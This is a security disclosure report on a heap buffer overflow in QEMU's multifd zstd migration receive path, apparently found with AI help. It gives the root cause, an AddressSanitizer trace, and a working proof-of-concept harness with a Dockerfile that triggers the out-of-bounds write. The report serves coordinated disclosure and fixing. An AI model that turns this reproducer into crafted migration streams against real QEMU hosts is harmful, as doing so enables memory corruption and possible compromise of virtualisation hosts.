## Discovery & disclosure * Found by Anthropic using AI and automated agents, and triaged and reviewed manually by me (from Ada Logics). ## Summary During multifd live migration with zstd compression, the receive handler `multifd_zstd_recv()` takes the packet's `next_packet_size` field (read verbatim from the wire) and uses it as the read length into a fixed 1 MiB destination buffer `z->zbuff`, with no check that the length fits the buffer. A migration stream that advertises a `next_packet_size` larger than 1 MiB makes `qio_channel_read_all()` write the full attacker-chosen length past the end of the heap allocation, corrupting adjacent heap memory on the destination QEMU. The sibling qatzip backend has the guard this one is missing; the zlib backend has the same gap. ## Security scope This is reachable from an untrusted migration stream. Details: - The destination QEMU parses the migration stream from the source/peer; a malicious or man-in-the-middle migration source that sends a crafted multifd packet triggers the overflow on the destination. - It is triggered by parsing wire data. - It is an out-of-bounds write with attacker-controlled length. - Requires migration to be in use with `multifd` + `zstd` compression, and the destination to accept the (malicious) stream. ## Affected version - Reproduced on upstream commit `191489ba750f13357ac677fb3b059f6f89ee4287` (2026-07-14). - Also reproduced on current master `eca2c16212ef9dcb0871de39bb9d1c2efebe76be` (2026-07-15): `multifd_zstd_recv()` still passes the unvalidated `next_packet_size` to `qio_channel_read_all()`; identical heap-buffer-overflow write at `migration/multifd-zstd.c:220`. - The zlib backend (`migration/multifd-zlib.c`) has the same missing check. ## Reproduction `multifd_zstd_recv()` runs on the migration receive thread and is not reachable through qtest MMIO, so the reproducer is a unit harness that links the real `migration/multifd-zstd.c` translation unit (built from source with AddressSanitizer), captures the real `MultiFDMethods` ops table that the file registers via its module constructor, allocates the real 1 MiB `z->zbuff` via the real `multifd_zstd_recv_setup()`, and calls the real `multifd_zstd_recv()` with a `MultiFDRecvParams` whose `next_packet_size` exceeds the 1 MiB buffer (as an untrusted packet header could set it). No vulnerable code is copied or modified; the crashing frame is the real `multifd_zstd_recv` at `migration/multifd-zstd.c:220`. To make the report self-validating, the harness first calls the same function with an in-bounds `next_packet_size` (equal to the buffer capacity) and shows it does not overflow, then repeats with an out-of-bounds value. One command builds upstream QEMU's `multifd-zstd.c` with ASan and runs the harness: ``` docker build -t qemu-multifd-zstd-oob . docker run --rm qemu-multifd-zstd-oob ``` ## Limitations of this reproducer This is a unit harness, not a live end-to-end migration, and its scope should be read accordingly: - It calls `multifd_zstd_recv()` directly through the real registered ops table rather than reaching it via a real migration receive thread parsing a `MultiFDPacket_t` off a socket. The two attacker-controlled fields it sets (`next_packet_size`, `normal_num`) are populated exactly as `migration/multifd.c` populates them from the wire (`p->next_packet_size = be32_to_cpu(packet->next_packet_size)`), so the value reaching the vulnerable code is the same, but the harness does not itself exercise the packet-parsing that supplies it. - `qio_channel_read_all()` is modelled by the harness (it reads `next_packet_size` bytes from a file descriptor into the caller's buffer, as the upstream `io/channel.c` wrapper fills its iovec) instead of using QEMU's real `QIOChannel`. The vulnerable function (`multifd_zstd_recv`) and the overflowed allocation (`z->zbuff`, from the real `multifd_zstd_recv_setup`) are the unmodified upstream code; the modelled piece is only the channel read that writes into the buffer. - The demonstrated overflow is intentionally modest: `next_packet_size = capacity + 4 KiB`, chosen so AddressSanitizer reports the write precisely at the buffer boundary. `next_packet_size` is a 32-bit wire field, so a real peer can request far more (up to \~4 GiB); the harness does not attempt to demonstrate the maximum or a controlled-content overwrite. - Reachability from an untrusted migration stream is established by source reading (`multifd.c` copies `next_packet_size` from the wire with no bound before the zstd receive path uses it; the `qatzip` backend carries the equivalent bound this path lacks), not demonstrated through two live migrating QEMU instances. - A full networked reproduction would stand up a destination `qemu-system-*` with `multifd`+`zstd` enabled and a malicious or MITM migration source that crafts the wire packet; that path exercises the identical destination-side function and allocation this harness drives directly. ## Actual result (AddressSanitizer, current master) The harness runs two cases against the same real `multifd_zstd_recv()` to show the defect is specifically the missing length check: an in-bounds `next_packet_size` stays within the buffer (no overflow), an out-of-bounds one overflows. ``` [harness] real multifd_zstd_recv_setup() allocated z->zbuff = 1048576 bytes (MULTIFD_PACKET_SIZE * 2) [control] next_packet_size = 1048576 (== buffer capacity, in-bounds) [control] multifd_zstd_recv() returned -10 with NO overflow (the read stayed within z->zbuff; decompress then rejected the filler) [attack] next_packet_size = 1052672 (> buffer capacity, out-of-bounds) [attack] calling the real multifd_zstd_recv() -> expect heap-buffer-overflow WRITE past z->zbuff ``` Full AddressSanitizer report from the attack case: ``` ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fd44babe800 at pc 0x55aa8f8ab00d bp 0x7fffac72a1b0 sp 0x7fffac729980 WRITE of size 1052672 at 0x7fd44babe800 thread T0 #0 0x55aa8f8ab00c in read build-llvm/tools/clang/stage2-bins/runtimes/runtimes-bins/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1012:16 #1 0x55aa8f9738ca in qio_channel_read_all /tmp/harness.c:76:21 #2 0x55aa8f974f9d in multifd_zstd_recv /src/repo/build/../migration/multifd-zstd.c:220:11 #3 0x55aa8f973d94 in main /tmp/harness.c:168:5 #4 0x7fd44c05e1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb) #5 0x7fd44c05e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb) #6 0x55aa8f88b4a4 in _start (/tmp/poc_run+0x2d4a4) (BuildId: 1a2edc29292cc866b3f2ce342245b4311311a2e7) 0x7fd44babe800 is located 0 bytes after 1048576-byte region [0x7fd44b9be800,0x7fd44babe800) allocated by thread T0 here: #0 0x55aa8f92efb8 in malloc build-llvm/tools/clang/stage2-bins/runtimes/runtimes-bins/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3 #1 0x55aa8f974c37 in multifd_zstd_recv_setup /src/repo/build/../migration/multifd-zstd.c:174:16 #2 0x55aa8f973b43 in main /tmp/harness.c:119:9 #3 0x7fd44c05e1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb) #4 0x7fd44c05e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb) #5 0x55aa8f88b4a4 in _start (/tmp/poc_run+0x2d4a4) (BuildId: 1a2edc29292cc866b3f2ce342245b4311311a2e7) SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/harness.c:76:21 in qio_channel_read_all ``` The write lands 0 bytes after the 1 MiB `z->zbuff` allocation (`multifd_zstd_recv_setup`, `migration/multifd-zstd.c:174`). The in-bounds control case does not fault, which shows the crash is caused by `next_packet_size` exceeding the buffer, not by the harness itself. ## Root cause ```c // migration/multifd-zstd.c — multifd_zstd_recv() static int multifd_zstd_recv(MultiFDRecvParams *p, Error **errp) { uint32_t in_size = p->next_packet_size; // from the wire, unvalidated ... struct zstd_data *z = p->compress_data; // z->zbuff is a fixed 1 MiB buffer ... if (!p->normal_num) { assert(in_size == 0); return 0; // only early-out; bypassed when normal_num > 0 } ret = qio_channel_read_all(p->c, (void *)z->zbuff, in_size, errp); // :220 OOB write ``` ```c // migration/multifd-zstd.c — multifd_zstd_recv_setup() z->zbuff_len = MULTIFD_PACKET_SIZE * 2; // 1 MiB, fixed z->zbuff = g_try_malloc(z->zbuff_len); ``` `p->next_packet_size` is set in `migration/multifd.c` directly from the wire (`p->next_packet_size = be32_to_cpu(packet->next_packet_size)`), and nothing validates it against `z->zbuff_len` before `multifd_zstd_recv()` uses it as the read length. The `!p->normal_num` early-out is bypassed by advertising `normal_pages = 1`. `qio_channel_read_all()` fills the caller's buffer with `in_size` bytes with no knowledge of the allocation size, so the full attacker-chosen length is written into the 1 MiB buffer. The qatzip backend (`migration/multifd-qatzip.c`) guards this with `if (in_size > q->in_len) ... return -1;`. ## Impact A malicious migration source (or MITM on the migration channel) causes an out-of-bounds heap write on the destination QEMU, of attacker-controlled length (`next_packet_size` is a 32-bit field) into a fixed 1 MiB buffer, with content read from the migration channel. The overwrite hits adjacent heap allocations. Requires migration with `multifd` + `zstd`. --- ## Reproducer files Two files; place them in one directory and run the two commands above. ### `Dockerfile` ```dockerfile FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive ARG TARGET_COMMIT=eca2c16212ef9dcb0871de39bb9d1c2efebe76be ARG CLANG_VERSION=20 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make ninja-build pkg-config python3 python3-pip python3-venv \ libglib2.0-dev libzstd-dev libpixman-1-dev flex bison bzip2 \ wget gnupg lsb-release software-properties-common \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \ && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \ && rm -rf /var/lib/apt/lists/* ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION} # Cacheable clone in its own layer, then a separate parametrized checkout. RUN git clone https://github.com/qemu/qemu /src/repo WORKDIR /src/repo RUN git checkout ${TARGET_COMMIT} # Configure with ASan; only need generated headers + the single object below. RUN ./configure --target-list=x86_64-softmmu --enable-asan \ --disable-docs --disable-tools --disable-guest-agent \ --cc=clang-${CLANG_VERSION} --cxx=clang++-${CLANG_VERSION} \ && echo configured # Build ONLY the real multifd-zstd.c translation unit (pulls in its generated headers). RUN cd build && ninja libsystem.a.p/migration_multifd-zstd.c.o COPY harness.c /tmp/harness.c # Compile + link the harness against the REAL object, reusing the exact -I/-D flags # meson used for the object so all relative includes resolve identically. RUN cd build \ && ninja -t commands libsystem.a.p/migration_multifd-zstd.c.o | tail -1 > /tmp/objcmd.txt \ && python3 - <<'PY' import shlex cmd = shlex.split(open('/tmp/objcmd.txt').read().strip()) out = [] skip = 0 drop_next = {'-o', '-MF', '-MQ', '-MT'} for i, tok in enumerate(cmd): if skip: skip = 0 continue if i == 0: # compiler continue if tok in drop_next: skip = 1 continue if tok == '-c': # source follows skip = 1 continue if tok == '-MD': continue if tok.endswith('multifd-zstd.c'): continue out.append(tok) open('/tmp/objflags.txt', 'w').write(' '.join(shlex.quote(x) for x in out)) print('FLAGS:', ' '.join(out)) PY RUN cd build \ && ${CC} -g -O1 -fno-omit-frame-pointer -fsanitize=address $(cat /tmp/objflags.txt) \ -Wno-error -Wno-missing-prototypes -Wno-unused-parameter \ /tmp/harness.c libsystem.a.p/migration_multifd-zstd.c.o \ -o /tmp/poc_run \ $(pkg-config --libs glib-2.0) -lzstd -fsanitize=address ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-${CLANG_VERSION}/bin/llvm-symbolizer CMD ["/bin/sh","-c","/tmp/poc_run 2>&1; echo EXIT=$?"] ``` ### `harness.c` ```c /* * ANT-2026-T91HJSE6 reproducer harness (archetype C — internal harness that * compiles and links the REAL upstream translation unit migration/multifd-zstd.c). * * The harness does NOT copy or re-implement the vulnerable function. It links * the real multifd-zstd.c object, captures the real MultiFDMethods table that * multifd-zstd.c registers via its migration_init() constructor, and then drives * the real multifd_zstd_recv_setup()/multifd_zstd_recv() through that table with * an attacker-controlled MultiFDPacket header (next_packet_size >> zbuff_len). * * qio_channel_read_all() is modelled faithfully: it reads `buflen` bytes from a * real file descriptor into the caller's buffer, exactly as the upstream * io/channel.c wrapper fills its iovec. The out-of-bounds WRITE therefore happens * with the same shape as production: the recv thread hands z->zbuff (1 MiB) and an * attacker-controlled length to the channel read, and the channel dutifully writes * the full length past the end of the heap buffer. */ #include "qemu/osdep.h" #include "migration/multifd.h" #include <fcntl.h> #include <unistd.h> /* ---- captured real ops table (filled by the real constructor) ---- */ static const MultiFDMethods *g_ops; static void (*g_init_fn)(void); /* multifd-zstd.c's constructor calls register_module_init(fn, MODULE_INIT_MIGRATION) */ void register_module_init(void (*fn)(void), module_init_type type) { if (type == MODULE_INIT_MIGRATION) { g_init_fn = fn; } } void register_dso_module_init(void (*fn)(void), module_init_type type) {} /* multifd_zstd_register() calls this with the real static ops table */ void multifd_register_ops(int method, const MultiFDMethods *ops) { g_ops = ops; } /* ---- minimal faithful stubs for the recv path's helpers ---- */ /* This softmmu build uses TARGET_PAGE_BITS_VARY, so multifd_ram_page_size()'s * inline reads the global `target_page`. Provide it, finalized at 4 KiB. */ #include "exec/page-vary.h" const TargetPageBits target_page = { .decided = true, .bits = 12, .mask = (uint64_t)-1 << 12, }; void multifd_recv_zero_page_process(MultiFDRecvParams *p) { /* no zero pages */ } void ramblock_recv_bitmap_set_offset(RAMBlock *rb, uint64_t offset) {} int migrate_multifd_zstd_level(void) { return 1; } /* Send-path helpers: referenced by unused send functions in the same TU. */ bool multifd_send_prepare_common(MultiFDSendParams *p) { return false; } void multifd_send_fill_packet(MultiFDSendParams *p) {} /* error_setg() expands to this; keep the message on stderr */ void error_setg_internal(Error **errp, const char *src, int line, const char *func, const char *fmt, ...) { fprintf(stderr, "[error_setg from %s:%d %s] %s\n", src, line, func, fmt); } /* ---- faithful qio_channel_read_all(): read buflen bytes into buf ---- */ static int g_src_fd = -1; int qio_channel_read_all(QIOChannel *ioc, void *buf, size_t buflen, Error **errp) { size_t done = 0; fprintf(stderr, "[qio_channel_read_all] writing %zu attacker bytes into buffer %p\n", buflen, buf); while (done < buflen) { ssize_t r = read(g_src_fd, (char *)buf + done, buflen - done); if (r <= 0) { /* pad the rest so the full unbounded length is written, as a real * blocking channel would once the peer streams all its bytes */ memset((char *)buf + done, 'A', buflen - done); done = buflen; break; } done += (size_t)r; } return 0; } int main(void) { Error *err = NULL; /* Run the real multifd-zstd.c constructor to capture its ops table. */ if (g_init_fn) { g_init_fn(); } if (!g_ops || !g_ops->recv_setup || !g_ops->recv) { fprintf(stderr, "FATAL: did not capture real zstd ops table\n"); return 2; } /* A source of bytes for the modelled channel read: an 8 MiB file (the peer's * "stream"). multifd_zstd_recv() reads p->next_packet_size bytes from it. */ const size_t STREAM_LEN = 8u * 1024 * 1024; char path[] = "/tmp/attacker_payload.bin"; int fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600); if (fd < 0) { perror("open"); return 2; } if (ftruncate(fd, STREAM_LEN) != 0) { perror("ftruncate"); return 2; } close(fd); g_src_fd = open(path, O_RDONLY); if (g_src_fd < 0) { perror("open2"); return 2; } /* Construct a recv params object as the multifd recv thread would hold it. */ MultiFDRecvParams p; memset(&p, 0, sizeof(p)); p.id = 0; /* recv_setup allocates the real fixed z->zbuff = MULTIFD_PACKET_SIZE*2. */ if (g_ops->recv_setup(&p, &err) != 0) { fprintf(stderr, "FATAL: recv_setup failed\n"); return 2; } /* z->zbuff capacity is MULTIFD_PACKET_SIZE * 2 (from multifd_zstd_recv_setup, * using the header's own constant so this matches the real allocation exactly). */ const uint32_t ZBUFF_LEN = MULTIFD_PACKET_SIZE * 2; fprintf(stderr, "[harness] real multifd_zstd_recv_setup() allocated z->zbuff = %u bytes " "(MULTIFD_PACKET_SIZE * 2)\n", ZBUFF_LEN); fprintf(stderr, "[harness] multifd_zstd_recv() reads p->next_packet_size bytes into that " "buffer with no check that it fits.\n\n"); /* These fields come verbatim from the untrusted MultiFDPacket_t header on the * wire (multifd.c: p->next_packet_size = be32_to_cpu(packet->next_packet_size), * p->normal_num = be32_to_cpu(packet->normal_pages)). */ p.flags = MULTIFD_FLAG_ZSTD; p.normal_num = 1; /* >0 bypasses the !p->normal_num early return */ static ram_addr_t normal_off[1] = { 0 }; static unsigned char fake_page[4096]; p.normal = normal_off; p.host = fake_page; /* ---- Control (negative): an in-bounds next_packet_size == z->zbuff_len ---- * The read exactly fills z->zbuff and does NOT overflow; the subsequent zstd * decompress then fails on the filler bytes (expected -- we are not sending a * real compressed page). The point is that ASan does NOT fire for an in-bounds * length, which shows the crash below is specific to the missing bound. */ lseek(g_src_fd, 0, SEEK_SET); p.next_packet_size = ZBUFF_LEN; fprintf(stderr, "[control] next_packet_size = %u (== buffer capacity, in-bounds)\n", p.next_packet_size); int rc = g_ops->recv(&p, &err); fprintf(stderr, "[control] multifd_zstd_recv() returned %d with NO overflow " "(the read stayed within z->zbuff; decompress then rejected the filler)\n\n", rc); /* ---- Attack (positive): an out-of-bounds next_packet_size > z->zbuff_len ---- * Same code path, only the length is larger than the buffer -> the read writes * past z->zbuff -> heap-buffer-overflow in the real multifd_zstd_recv(). * next_packet_size is a 32-bit wire field (an attacker may set up to ~4 GiB); * we use capacity + 4 KiB so the overflow lands precisely in the allocation's * guard region and AddressSanitizer reports it exactly at the buffer boundary. */ lseek(g_src_fd, 0, SEEK_SET); p.next_packet_size = ZBUFF_LEN + 4096; fprintf(stderr, "[attack] next_packet_size = %u (> buffer capacity, out-of-bounds)\n", p.next_packet_size); fprintf(stderr, "[attack] calling the real multifd_zstd_recv() -> expect " "heap-buffer-overflow WRITE past z->zbuff\n"); g_ops->recv(&p, &err); fprintf(stderr, "[attack] returned without ASan abort (UNEXPECTED - not vulnerable?)\n"); return 0; } ``` # Attribution Please credit Claude and Ada Logics. We normally follow https://www.anthropic.com/coordinated-vulnerability-disclosure but understand QEMU can't provide an SLA for response as written here https://www.qemu.org/contribute/security-process/